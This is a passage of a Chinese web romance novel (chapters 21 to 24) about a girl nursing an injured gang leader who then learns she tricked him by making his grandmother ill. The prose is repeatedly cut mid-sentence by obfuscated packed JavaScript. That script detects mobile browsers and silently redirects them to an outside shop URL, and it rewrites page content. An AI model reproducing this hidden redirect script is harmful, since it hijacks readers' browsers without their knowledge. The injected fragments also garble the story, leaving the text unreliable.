“不是——” 李空山一脸懊恼,自个儿也没想到居然能摊上这么一档子事儿。 “我这儿本来就不欢迎你,让你走咋了,你是个无赖吗,还想赖我这儿?” “你以前都不这样的,我知道了!李空山!” 女人很气恼,走到门口指着连翘,“你是不是因为她,所以赶我走!” 连翘打量着这个女人,一身上下的风尘气,一看就是常年混在男人堆里的,她想,李空山眼光不是很高吗?居然喜欢这种类型的? 李空山不耐烦开口:“跟她没关系,你少在那儿巴拉巴拉没完没了。” 女人眼角带着泪珠,看上去倒还有些可怜,但连翘可不吃这一套,选择性无视身边的这个女人。 李空山见连翘看上去有些心情不好,而女人还赖着不肯走,不得已使出杀手锏。 他盯着女人,从柜子上拿来手机,要挟说:“你再不走,信不信我给楼巩打电话了?我让他把你丢出去!” 女人急了,气得跺脚,“不能打,你不准告诉他!” “那你就赶快走呗。” 李空山摆出要拨号的动作,每个五官都透露着“要挟”之意。 “走就走。” 女人“哼”了一声,反正她最想待的地方也不是这里。 她提着包包往外走,路过连翘时又停下,笑着说:“以前我都没见过你,你是李空山的相好吧?可惜啊……” 她回头看了眼李空山,继续盯着连翘:“据我所知,李空山这种人不会轻易喜欢上一个女孩,至少认识他以来,我从没见过。你要是真心喜欢李空山的话,祝你好运,加油哦!” 女人拍拍连翘的肩,趾高气扬地走了出去。 连翘也准备提着食物,转身往外走。 李空山连忙叫住她:“哎,你走哪儿去啊,我让她走,没让你走,你不是给我带午饭呢吗,赶紧过来呗。” “我看你挺开心的,不需要午饭。” 李空山皱眉反驳,“不是,你哪只眼睛看见我挺开心啊?” 他想——连翘简直就是在无中生有,跟刚才那无赖的女人有得一拼。 连翘想了想,还是转身回到李空山的病床边。 她把带来的粥、鸡汤以及李空山接下来需要换的干净衣服逐一放下。 李空山看着柜子上的东西,肯定地点点头,笑笑说:“不错不错,你的服务还挺周到,知道顺便给我带衣服。” 连翘心里有气儿,故意把李空山的床头摇得很高很高。 李空山立马撤回刚才的话:“哎哎哎——我反悔了,你的服务根本就不怎么周到!” 她在心里“哼”一声,面不改色地把保温盒里的粥和鸡汤给李空山盛出来。 李空山的目光从雀跃欢喜变得落空,“啊,就这啊?车羽羽,这也太清淡了吧,就没有点辣的?” 他张望着,企图在剩下的袋子里寻觅到“惊喜”。 “亏你想的出来?”连翘不急不慢解释,“李空山,养伤期间径直辛辣饮食。” “行吧。” 李空山无所谓地从连翘手里接过盛满鸡汤的碗,“这鸡汤哎,大补。” “知道就多喝点。” 连翘见李空山满脸坦诚热烈,渐渐忘了刚才的不愉快,她只是轻描淡写问一句:“刚刚的人是谁啊?” “哦,对。”李空山停下来,回答连翘,“车羽羽,你可千万别误会,她跟我没关系,她跑我这儿来哭就是因为楼巩拒绝了她。不瞒你说,她追楼巩已经追了两年。” “两年?这么久?还不放弃?” 连翘不解:“楼巩哥不喜欢她吗?为什么一直不同意?” “这个嘛……”李空山犹犹豫豫,“里面的来龙去脉有点复杂,以后有机会我再告诉你。” “也行。”连翘愉快坐下,得知这人的确和李空山没什么关系后,她的心情也随之变好。 她见李空山喝得这么认真,特意补充道:“李空山,这可是我费了好的功夫才得到的老母鸡熬的鸡汤,你可一定要喝完。” “啊,这么费劲儿啊。” 李空山端起碗一股脑全喝下去,一滴不剩。 “你放心,你这么费心费力给我弄来的,我一定全喝完。怎样?我给力吧。” 连翘懵懂地点点头,看似无辜感动,实则在心里偷笑,这李空山啊——看上去恶狠狠的,实际上比小孩子都好骗。 不过连翘忽略了一个问题,并不是李空山这个人好骗,只是现在的李空山变得越来越信任她了。 * 明天是周一。 晚饭过后,连翘还在纠结回去睡好,还是在这里继续陪李空山说话解闷。 李空山现在已睡着。 他的脑袋缠着纱布,右腿打着石膏,原本清隽的脸多处许多道划痕,看了让人莫名觉得心疼。 身上的锐气远比连翘第一次见他时少了不少。 为什么呢?是因为李空山知道疼人了? 连翘索性不想回不回去的问题,搬来凳子在病床边坐下。 她用双手捧着脸蛋,脑袋轻轻地左右晃动,全神贯注地打量病床上躺着的少年。 渐渐地,连翘开始小声地自言自语:“李空山,你说——这世界上那么多人,怎么偏偏你最执拗呢?” “李空山,你呀,还真是白白可惜了这张脸,若不是出生在这样一个小地方,说不定你就遇到捧你的资本家,一跃而成下一个国民偶像呢。” 连翘想了想,又说:“嗯,也许不行,你这人狂妄又自大,谁都不放在眼里,和温柔的国民idol还是有点距离。” 李空山睡了一下午,已经迷迷糊糊醒来,但是他没有表现出自己已醒。 不过他刚一醒,就听见连翘说他和温柔的国民男神有点距离。至于前面说的什么,他倒是没听到。 说他坏话是吧? 李空山想,他倒是要好好听听,这连翘到底偷偷摸摸说他什么。 徐徐微风从窗外吹进来,轻轻吹动女孩的碎发,也不知不觉吹动她沉寂很久的心。 夏日晚风燥热,但更燥热的,是那两颗悄悄彼此吸引的心。 她接下来说的话,李空山浑然不知记了很久很久。 “小时候,我以为我会一辈子困在被拐卖的牢笼地狱里,永远无法逃脱,甚至遇见你以前,我也是这么想的。可现在我慢慢发现,人终极一生,本就要去寻找所爱、所想要、所憧憬的一切,也许不择手段,也许循序渐进,但无论如何,起点和开始怎么样,始终无法决定我们的以后。” 她凑近些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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趁着连翘转身的间隙,李空山忍不住喝彩一声,举起手,得意地摇头晃脑。 下一秒,连翘刚好转身回来放东西,望着李空山。 李空山:“???” * 连翘睡在陪护床上,月光照在李空山身上,她一直睡不着,心里想着很多心事。 医院总是充斥着消毒水的味道,她偏头看着他,试图听清李空山在那儿说什么梦话。 连翘放低自己的呼吸声,四周一切都很安静。 过了半天,连翘终于听清,原来李空山在喊她的名字,不过她想不明白——喊她就喊她,为什么后面还要加一句“快跑”? 难道在李空山的眼里,她就这么命运多舛,总是遇到危险,甚至连梦里都出现了? 快跑…… 快跑…… 说起来,如果她小时候那次能跑掉,现在她也不至于还被困在这个小镇上,只能躲在李空山的庇护下,靠高考走出去,永远逃离这个地方。 她望着天花板,小声嘀咕:“我要是真跑掉了,现在也没机会遇见你。” 22. 第 22 章 李空山身上多处都缠着纱布。 周一,连翘放学后就直接回了家,把晚饭做好后直接带来医院。 夜里,李空山提出抗议,说他要洗澡。 连翘拿他没有办法:“你腿脚都不利索,伤口也还没愈合,不能碰水,干脆我打电话让小海哥过来帮你行不行?” 李空山当即否决连翘这一提议:“不行!你这是看不起我,我腿脚利索着呢。” 李空山说什么也要证明自己。 等到连翘放好热水以后,他单腿跳着蹦去卫生间。 “真行还是假行?” 连翘并不怎么放心他,坐在陪护床上,就像看好戏似儿的,直勾勾盯着卫生间的门。 如果此刻有瓜子儿,那就更加应景。 门外,连翘忍不住喊他:“李空山,你可千万别逞强啊,要是不行就早点说,我找人来帮你。” 门内正准备脱下上半身衣服的李空山:“……” 连翘迟疑地盯着半天不传来动静的卫生间,“李空山,你没事吧?医生说你的伤口不能碰水,你记得用毛巾擦擦身子就行了,千万要小心伤口!” “知道了知道了。”李空山盯着卫生间的门,忍不住吐槽,“小娘们果然就是罗里吧嗦的。” 他非常自信,相信自己一个人肯定行,借着墙壁的支撑,他取下晾着的毛巾,单腿蹦到水龙头处,准备用热水打湿毛巾,擦擦身子。 “嗷——我去我去!” 李空山直接打开开关,没关心冷热水的方向,更没注意现在开启的是壁挂花洒而不是手持花洒。 霎时间,冰冰凉的冷水从李空山头顶洒下来,将他大部分身子淋湿。 若不是他反应够快及时关上,现在的他就完全成了落汤鸡。 “李空山!” 门外的连翘着急,跑到门口大喊他的名字。 她担心李空山——差一点就想直接开门进去,但是顾及到男女有别,不方便,她只能站在卫生间门外着急敲门。 “你还好吗?出什么事了?” 门内。 李空山闭上眼睛,右手摸了下脸,甩去脸上的水。 他还好吗? 当然不好。 但要真这么说,那就太没面子了,毕竟刚才信誓旦旦格外自信的可是他。 于是,沉默代替了李空山的回答。他现在既无语又愤怒。 “可恶,你咋那么调皮,故意跟我过不去是不是?” 李空山开始对着浴霸一顿数落、教训。 “李空山!” 门外的连翘见他一直没有回音儿,便更加着急了。她一想到电视剧里常有的画面——生病的人因为脚滑直接摔倒,结果没人发现,莫名后怕不已。 “李空山,我可进来了啊!” 连翘管不了那么多,比起这些该看不该看的规矩礼节,她更害怕李空山摔倒在里面爬不起来。 她大不了豁出去。 “啥?什么来?” 李空山刚刚一门心思扑在骂“水龙头”这件事上,加上卫生间里开着暖风,他没能太听清外面的连翘在说什么。 直到他回头,看着门把手正一点点、一点点地被按下,他瞬间瞳孔放大,整个人瞬间变得不淡定。 “我去!” 李空山左看右看,一边去拿毛巾遮住自己必须遮住的下半身,一边走到门口把门挡回去。 他的脸上泛起红晕:“喂!你干什么!” 连翘惊喜撒手,像是松了一口气,“呀,李空山,原来你没事。太好了,我以为你刚刚摔地上爬不起来。” 李空山重新把门关上,微眯着眼睛,双手交叉端在身前,“你这个小色女!我看你是想占我便宜吧!” 连翘刚才实在太害怕李空山摔地上爬不起,脑子没想太多,现在的她倒是更加意识到自己的行为显得是如此“特意”。 她回到陪护床上坐好,支支吾吾,“才没有啊,你想得真美,我要是想占便宜,也轮不到占你的便宜好吧。” “好哇你。” 胜负心被激起,李空山快速地把衣服套上,开门蹦跳着走到门口,“你个女娃娃,一天到晚不想着天天向上,居然想着这些事情,甚至连占便宜的先后主次心里都有数了?” “你老实交代!还有谁!” 李空山就像审视烦人一般审视着连翘,眼神坚定得就像要连翘在自己的目光下“暴露原形”。 “什么还有谁,李空山,根本不是你想的那样,现在被你越说越乱,我都差点被你带偏了。” 连翘起身站起,走到李空山身前,伸出手,“呐,我馋扶着你回去吧,刚刚蹦来蹦去,肯定很累吧?” “累什么累,不累。” 死要面子活受罪的李空山无视连翘伸出来的手,逞强着非要单腿蹦回自己的病床。 他背靠着立起来的枕头坐好,把自己当“皇帝”一般,嚣张说:“车羽羽,刚刚受你惊吓,导致我没有顺利洗好。现在我命令你,让医生给我把纱布拆咯,我——要、洗、澡!” “洗什么,不能洗。” 连翘一脸坚定地在李空山病床边坐下,“李空山,你现在是病患,能把命捡回来就不错了,邋遢点咱就邋遢点呗,活着最重要。” 她把被子搭在李空山身上,“听话啊,忍一忍,别拆纱布。难道你还想等血崩以后,再让医生给你缝几针?” 李空山望着连翘,张开嘴,欲言又止。 好吧,她这个威胁方法还挺管用。 李空山试探性地把脚下的被子踢开,笑容挂在脸上,像个小孩撒起娇来,“车羽羽,可是我真的很想洗澡,我觉得我身上黏糊糊的。” “行。”连翘拿起李空山的手机,“这样行不行,我给小海哥打电话,让他来帮你擦擦身子。” 她看向墙壁上的挂钟,“现在也不晚了,小海哥赶过来还得花些时间,不如你先睡一觉,等小海哥到了,我再叫醒你。” “好!” 李空山像个非常容易满足、容易哄好的孩子,他把身子缩下去,顺从地躺好,闭上眼睛,难得安静一次。 “那说好了,等小海到了,你再叫醒我。” 白折腾好一会儿,李空山的确也困了,闭上眼睛的他没多久就睡着,黑夜漫漫,他进入梦乡以后,直到第二天清晨才醒来。 * “李空山?” 连翘试探性地喊了一声,见李空山睡得很熟,她便满意地把手机放下。 她刚才出去打电话时候,小海正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165880|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和其他兄弟喝酒聊天,手机放在一旁的沙发上,声音嘈杂。 拨打过好几次,小海那边也没能听见。 除了小海外,连翘就不认识其他人。没办法,她就只好“亲自上场”。 在卫生间用热水打湿毛巾以后,连翘便蹑手蹑脚地走到病床边,她的每一个动作都无比小心翼翼,尽全力不发出一点儿声音吵到李空山。 她轻轻掀开被子,给李空山身上没缠纱布的地方擦干净。 “非礼勿视,非礼勿视。” 起初,连翘是不打算私自偷看李空山的上半身身子的,但她发现把头挪到一边差点就碰到李空山的伤口。 没有办法,她只好收敛害羞,直视李空山,一点,一点地为他擦身子。 连翘第一次发现,原来看起来瘦瘦的李空山其实身上很结实,她想,这也许是李空山常年都在黑武俱乐部练身手的原因。 少年身上的肌肉线条起起伏伏,形状和轮廓皆很好看。 连翘挪开眼,又看过去,挪开眼,又看过去,终究是忍不住多打量了几眼,“李空山,想不到你小子还有腹肌。” 她露出一个无辜又得意的表情,不自觉扬眉,叹息道:“今天你算是落我手里了,不好意思哦,上半身被我看得一干二净,不过呢,你也不算亏。” “毕竟——”连翘凑近些,在他耳边低语,“这也还是我第一次给人擦身子。咱俩扯平。” 连翘帮李空山把没打石膏的左腿简单擦了下后,便去卫生间搓毛巾,晾在杆子上。 完成所有的事情,她才躺下,躺在陪护床上。 连翘两手枕在脑后,望着天花板细数心事,可是她没想到——刚才看见的李空山手臂上的肌肉和他的腹肌画面一直在她的脑海里挥之不去。 “完了完了,我一定是魔怔了。” 连翘晃晃脑袋,调整方向,背对着李空山的病床。 “清醒!连翘,你一定要清醒!色即是空,空即是色!” * 第二天早上,李空山醒来时,连翘已经去上学了。 他感觉身上清爽不少,不像昨天一样黏糊糊的,对此很满意。刚好这个时候,小海代替连翘来照顾李空山。 在卫生间里洗漱完毕的李空山一蹦一跳地从卫生间里出来,心不在焉道:“我以前怎么没发现你一个大老爷们原来也这么细心。做得不错啊小海,你昨天来一点都没吵醒我。” 李空山背靠着墙,想了想,“不过这连翘也真是的,明明说好要喊我,居然没有。” 他低下头笑了笑,这个笑是发自内心的,又情不自禁,“不过我也懂,这丫头片子,就是想让我睡得安稳些。” 一旁,正准备往嘴里塞一个鸡蛋的小海张着嘴巴,望着李空山,愣住。 “哥……你在说啥啊……” 李空山单腿蹦到沙发上坐下,“我说啥你不知道?我夸你昨晚帮我擦背,很细心。” 小海依旧愣住,有些心慌,有些诧异:“哥……这好像是根本就没有的事……我、我昨天没来你这儿啊……” “啥?你没来?” 惊讶的李空山直接站了起来,全靠左脚支撑,愣了半天才反应过来,两手按住小海的肩:“完了!你哥我昨晚被小色女看光了!” 23. 第 23 章 李空山被劫色了,咬牙切齿在病房里走来走去。 小海一边吃早餐,一边无辜看着李空山:“哥,你省省吧,就一条腿还没伤着,你还蹦来蹦去,当心这条好的腿最后也被你蹦出问题来。” 他往嘴里扔一个枣子,“再说了,哥,不就是被看了身子么,也没什么大不了的呀。这可是你自己说的——大丈夫能屈能伸。你俩又没发生什么,看就看了呗。” “小、海!” 李空山停下来,不服气盯着他。 小海意识到自己说错了,笑笑把手里的枣子放回去:“哥,我说错了还不行吗,你们应该发生点啥。” “???” 李空山愣了下,不耐烦指着门口,“你现在就给我出去。” 小海非常听话,走的时候还不忘再多拿几个甜滋滋的枣儿。“哥,这枣儿还挺甜,连翘真会买。” * 几天过后,李空山出院了。 他手下的好些弟兄都来接他回屋,但最后全被他喊回去,原本人满为患的屋子瞬间变空旷不少。 连翘从厨房洗完手后走出来,系着淡青色围裙,扎好头发垂于后背,问李空山今天中午想吃什么。 李空山兴奋地在屋子溜了一圈又一圈,确认自己的脚还和以前一样灵活,便格外满意。 他往饭桌边一坐,认真思索:“让我想想啊……宫保鸡丁、红烧猪蹄、爆炒小辣椒、凉拌辣笋……所有辣的,我全要。” 连翘好奇的神情一扫而空,满脸严肃,“李空山!你才刚好,不能吃得这么辛辣。” “什么刚好啊。” 李空山皱眉抱怨,“我都好了好多天了,是你自己一直给我做各种清淡的菜,我再不吃点辣的,我都快升仙了知不知道。” 连翘偏头,无所谓说:“那你就升仙吧!” 她转身回到厨房,拿出两节莲藕,偏头看着厨房外又气又恨的李空山:“至少——得过了今天才行。” 李空山面无表情地“哦”了一声,别开脸,翘起二郎腿,哼一声,气鼓鼓地盯着窗外。 离开家的这几天,窗外的合欢树已经不知不觉长出好多新叶子,枝繁叶茂,树根盘根交错,不断向旁人彰显着它旺盛的生命力。 李空山突然想到,连翘的名字也来源于一种植物。 * 饭做好以后,连翘先盛好两碗饭,再从锅里把炒好的菜铲起来,端到饭桌上。 李空山傲慢又轻蔑地盯着饭桌上的饭,“车羽羽,我手还没好彻底,一动就关节痛,我需要你喂我。” 饭桌对面,刚端起自己的碗的连翘看向李空山。 “你多大了,还要人喂?” 李空山脸不红心不跳,“不管多大都可以要人喂好吧,你看那些牙齿都掉光的、一把年纪的老头不也是让人喂饭?” 连翘强忍住笑意:“你要跟他们比?” 李空山较真:“不是比,我就是打个比喻。” “好啊。” 连翘放下碗,走到李空山旁边,找来凳子坐下。 她用右手拿起勺子,舀起一勺藕丁,又在碗里舀了点米饭,一起递到李空山嘴边。 李空山心满意足,一口吃下去。 有些时候,连翘也觉得恍惚,原来当初那个狂妄嚣张、不把任何人放在眼里,天不怕地不怕的李空山,其实也有如此孩子气的一面。 连翘继续舀饭和藕丁喂李空山,“我听说楼巩哥在来看你的路上,你不怕他等会儿上楼看见你还要我喂饭,影响你的堂堂威名?” “怕啥啊。” 李空山咬住勺子,吃下勺子里的饭菜,不以为意地说:“我李空山的威名从来不拘于小事。哥该威风的,还是一样威风。” 连翘忍不住问:“李空山,我还真挺好奇,为什么你无论什么时候都能这么骄傲自信?其实,这个世界上有很多人都无法鼓起勇气认可自己,所以有时候,你在我眼里挺特别的。” 李空山瞄了眼连翘:“人来到这个世界上的第一件事,就是学会把自己塑造成你所认可的模样,或者无所畏惧,或者富有同情心,或者死皮赖脸,不管哪一种,都是一个人处世的铠甲,只有塑造好理想的自己后,认可自己,你才能接受你,如果你都不认可,别人又有什么理由认可,对吧?” 连翘注视着李空山没有说话,两个人都沉默了很久。 最后,她轻轻笑了下,“知道啦,所以,天不怕地不怕的李空山就是你所认可的李空山?” 少年偏头,骄傲又恣意,“当然。” * 楼巩带人来李空山家里找他时,他们刚好吃完饭。 连翘起身端走盘子和碗拿去厨房洗。 楼巩看着她走入厨房,又看看李空山那只一直垂在身侧、还没拆纱布的右手。 “哥?你手怎样?能动不?” “不能。” 李空山左手把弄着桌面上的小摆件,轻松又自在。 “不能啊?”楼巩在李空山身旁坐下,“那你刚才咋吃的饭?” “我有人喂!” 李空山开始傲娇起来,得意洋洋,每个字都拖延了说,特地咬重发音。 楼巩知道李空山在炫耀什么,竖起大拇指,“嘚,了不起,还是你了不起。” 他左手撑在桌面,另一只手按住右腿膝盖,笑着问李空山,“你知道最近兄弟们都怎么说你的吗?” 李空山仰起脑袋,望着天花板,心不在焉,“怎么说?” 楼巩原话奉上:“大家都说啊——你变得越来越不像你了。他们以前可没见你居然还有这么黏人的一面。” “黏人?我哪里黏人了?” 李空山想要辩解,“那是你们不懂,我这叫及时寻找救命稻草而已,看你们,一个个五大三粗的,哪里知道照顾人,还得靠我家车羽羽才行。” 后面半句脱口而出,李空山都没意识到自己对她这样的称呼已经成了一种习惯。 楼巩笑了:“是是是,你家的。” 李空山:“……” 反应过来的他不知如何辩解,但更多的是有些难为情。 他摆摆手,“行了行了,不说这个,咱们说点正事。宇瑞那小子最近情况如何?” 楼巩的神情跟着李空山一起变得正经起来。 “最近在赵旭摩那里办事,可以说是风生水起,赵旭摩听说宇瑞以前跟着你的时候不受重用,特地以此拉拢宇瑞。这不,他从宇瑞嘴里套出好几家我们的债主,这几天一直拉着宇瑞去搞破坏呢。” “瞧他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165881|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这德行。” 李空山把左手里的桌面小摆件甩回到桌面,偏头看着楼巩,“这几天盯紧他们,必要时候,直接撕破脸,不用顾及旧情。” “明白。” 楼巩点头,看了几眼李空山又低下头,犹犹豫豫,“听说……她又去找了你?哥,如果给你添麻烦了,我很抱歉。” “没事。” 李空山无所谓说:“这有啥,她烦人可以,但我只接受车羽羽烦我。你还是早点找机会跟她说明白吧,不然她一直对你不死心。” “我知道。”楼巩低下头,神情变得稍许落寞,“但你又不是不清楚,我早就说得很清楚了,可她就是非要一门心思追着我不放,怎么赶怎么说,都没用。” “珍惜吧。有人能这样待你也不容易。只是你妈妈——” 李空山的话说到一半,连翘从厨房里走了出来。 她用围裙擦掉手上的水,看着李空山,“你怎么不继续说了?” 李空山心虚,转移视线,盯着楼巩,“哦,那什么,你刚刚说要带我去看样东西是吧,走走走,咱们一起出门。” 连翘还没反应过来怎么回事,李空山就推搡着楼巩等人出了门。 她没听见这两人刚刚在外面说什么,也没弄清楚她一出来,两人就转移话题是怎么一回事。连翘没有多想,直接从书包里翻出练习册写题。 过不了多久,就要摸底考试了。 * 楼巩点燃一支然递给李空山,李空山摆手说:“不了,等会儿有味儿,回去她闻不惯。” “行吧。” 楼巩把这支烟又重新放回烟盒里,按下打火机点燃嘴里的烟头,“哥,你还真是变了不少,小海他们跟我说的时候,我还不太信,但我现在相信了。” “当然。” 李空山拍拍楼巩的肩,在他身旁站好,“知道你哥越变越有魅力了就行。” 楼巩无语又好笑地盯着李空山,两个人默契地笑了下,扭头直视正前方的清流河。 “话说回来,你妈妈情况最近到底怎么样?” 楼巩尝尝叹息一声,“不好说。医生告诉我,我妈现在的时间一天比一天少,这种时候,我这个当儿子的什么都做不了,也只能去陪陪她,和她说说话。” “那你怎么不把这件事告诉魏可萱?即便你们不能在一起,她至少能知道你的心意不是吗?” “哥,你知道的,魏可萱这人就爱折腾,她要是知道我是因为我妈,指定敲锣打鼓地上门去讨说法。” 李空山不这么想,“你别想得太糟糕,她要是知道你妈现在这身体情况,肯定会变温顺很多,到时候两个人相处得很融洽也说不定。” “不可能的。” 楼巩无力笑着,“我妈知道她以前的出身,一点儿都容不下她,要是她去看我妈,两个人不打起来才怪。她那么骄傲的性子,是忍不了我妈的指责和辱骂的。” “也是。”李空山把手放在护栏上,微风从河面吹来,带来一阵凉意。 “你放心,只要你没开口,我就不会告诉魏可萱你妈妈的事。” “嗯。” 无论何时,无论何地,李空山永远把他当兄弟,永远给他兄弟间十足的信任。楼巩点点头,“哥,谢谢你。” 24. 第 24 章 李空山在回去的路上遇到一个怪人。 “你就是李空山?” 两手放在衣服兜里,大摇大摆往回走的他停了下来,不屑地盯着路边摆摊卖糖人的一个老太婆。 他依旧那么张狂无畏,“你谁啊你。” 老太婆闭着眼睛,看上去完全不像是卖糖人的,“我有重要的秘密说给你听,你要不要?” “秘密?” 李空山不屑:“是天上那只鸟刚才拉了粑粑,还是地上这只蜗牛差点被我一脚踩死啊?” 他完全不感兴趣,重新往前走,“管你什么秘密,我才不稀罕。” “那如果我说——这个秘密和你家里住的那女孩有关呢?” 当即,李空山顿住,停下脚步的他回头盯着这老太婆,“你少出来招摇撞骗,我李空山可不会轻易上当。” “是不是招摇撞骗,你看了不就知道了吗。” 老太婆睁开眼,从衣服兜里拿出一个老年机,按下播放键以后,视频随即播放。 最先传到李空山耳朵里的,便是那令他再熟悉不过的连翘的声音。 她和宇瑞站在一家小卖部门口,对话如下: “之前交代你的事情,办得怎么样了?” “放心吧,空山哥的奶奶我已经处理好了,按照你的吩咐,把药粉摸在她手背,果不其然起了红疹子,我估摸着这药效应该很快,一个小时后,乡下的人就会来消息,让我去通知空山哥。” “好。” 女孩接着往下说:“奶奶就是李空山的软肋,经过这件事以后,他打算离开的心思肯定会动摇。这次你帮忙,谢谢了。” “谢谢就多余了,你我就是一条船上的人,我们目的相同,各取所需。对了——”宇瑞问女孩,“那药粉什么来头,对老太太有影响不?要是老太太真出了事,空山哥不会放过我们。” “放心。只是起普通的疹子,对人没有伤害,服过医生开药以后,症状就会慢慢消散,只不过时间会持续得比较久,给人一种这病症很严重的假象。” “行,还是你的手段高。” 画面播放到这儿便就此结束。 老太婆再一次睁开原本闭上的眼睛。 “我给你看这些呢,也只是受人所托,李空山是吧?有人让我转告你,住你家那小姑娘自始至终都在利用你,为了达成她的目的,她可以不择手段,甚至不惜从头到尾欺骗你。” “什么感情啦,在意啦,全都是容易蒙蔽人双眼的假象。你要是对她心软,那你就是真中计了。” “她,只是把你当做摇钱树,只是为了讹你钱,一直在耍你而已。” 李空山怔怔地盯着老太婆手里的视频,手垂在身侧,不知所措。 这是他第一次感到那么意外。 难道在这个世界上,他一个能信任的人都没有? 他沉默着,一句话也不说,只是直勾勾盯着老太婆手里的手机。 * “你回来啦?” 听到开门声,连翘兴高采烈地跑到门口去迎接他,刚才为解题而苦思冥想的烦恼瞬间清空。 可李空山看上去却颓然失意,怎么看都很不高兴。 眸光比往常黯淡许多。 “你……怎么啦?” 连翘不明白怎么李空山出去了一趟大变样,“是遇到什么不开心的事了吗?你可以和我说,我帮你一起想办法。” 她的眼神真挚而诚恳,透露着担忧,可越是这样,越让李空山感到懊恼、不爽。 他握紧了拳头,所有的不甘和难过都藏在胸腔里。 原本打算质问、指责的话语被堵在喉间,他垂下目光盯着地面,沉默了很久。 “没什么,今晚我住外面,不用等我了。” 话一说完,李空山就径直转身下楼。 连翘不知所措站在门口,怔怔望着,直到他的身影消失在楼道里。 她转身进屋,怎么都想不明白李空山突然间的转变是怎么回事。 对了……宇瑞。 若真说连翘有什么亏心事,那便只有当初串通好宇瑞,为让李空山留下而使出的那一计。 * “哥,别喝了。” 小海从李空山手里抢走喝了一半的啤酒,他指着周围一地的空啤酒瓶子,“你好好看看,你今天晚上都喝了多少了,再喝下去,这能行吗。” 李空山不屑地盯着把酒抢走举在身后的小海,声音淡漠:“我数三声,拿过来。三……” “哥!” 小海不想见李空山如此固执,站了起来,语重心长劝说:“你要是心里难受,你大可以直接去问她,何必一个人在这儿喝闷酒呢。你以前不是最喜欢直来直往的吗?” “问问问,问什么问!” 李空山索性不跟小海争,自顾自地抱怨起来,他坐在台阶上,两手撑在身后,醉意熏熏。 “她为了骗我,实现她自己的目的,甚至不择手段,利用我奶奶算计我,这不是明摆着的事实还是什么。” 李空山脸颊泛着红晕,跌跌撞撞站起来,但脾气还是和以前一样冲,“是,她可以有心机,有目的,她可以不择手段搞小动作,可是她居然敢动我的奶奶,我李空山最恨这种欺软的人!” 小海走近些,搀扶着李空山,“哥,可是你不是去问过吗,那些药粉虽然会让奶奶起红疹子,但是连翘后来也偷偷去照顾她好几次,奶奶恢复得也很快。医生还说这些药粉对奶奶的身体并没有影响。” 李空山不屑地盯着小海:“那完全就是两码事!” “是是是,这是两码事。奶奶没事你还在这儿生闷气,哥,依我看啊,其实你在意的不止是因为连翘差点伤到奶奶。” 李空山心虚地坐下,“扯,你就搁那儿瞎扯,不止这个,还能有什么?” 小海笑嘻嘻地蹲下,凑到李空山跟前,一本正经,“依我看啊,你就是生气她骗了你,你一心一意对她,可是她却对你还有隐瞒和欺骗,所以你心里难受,不高兴,不是吗?” 说完,小海还特地拍拍自己的心窝,笑着说:“哥,你是这儿失落了。” “失落个屁!老子就是讨厌她的当面一套背后一套,跟我对她怎么样,半分钱关系都没有。” “嘚,你就嘴硬吧哥。” 小海无所谓地坐在李空山身旁的台阶处,时不时看他一眼,嘴角笑意难掩。 果然,这陷入感情里的人啊,就是这么口是心非。 李空山偏头看着小海,抬了下头,绕过他的身子,盯着他身后的半瓶啤酒,“快点,把酒给我,我还要继续喝。” “不行。” 小海把啤酒护在身后,“哥,这借酒消愁虽然有一定的道理,但是最消愁的可不是它。正所谓解铃还须系铃人,你看看,谁来了。” 李空山扭头,朝身后的台阶看去,果不其然,连翘正朝这边走来。 她穿着一件简约的淡蓝色长衫,头发扎成低马尾垂在背后,眼中有种莫名的担忧和愧疚。 “李空山。” 连翘试着喊他的名字,但他不确定李空山会不会搭理他。 少年冷冷看她一眼,随即别过头,满不在乎,“你来干什么,我现在不想看到你。” 李空山盯着小海,声声数落,“你小子,偷偷通风报信是吧!” 小海两手摆在身前,表示不接受,“哥!我可没有,是连翘担心你,非要找来的。” “切。” 李空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165882|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山别开脸,不看连翘,也不看小海,满脸不屑。任谁都能看出来他此刻的不高兴。 “那什么,我突然想起来我还有点事,我就先走了啊,哥,连翘,你们先聊!” 直接站起的小海给连翘使了个鼓励的眼色,随即准备脱身离开。 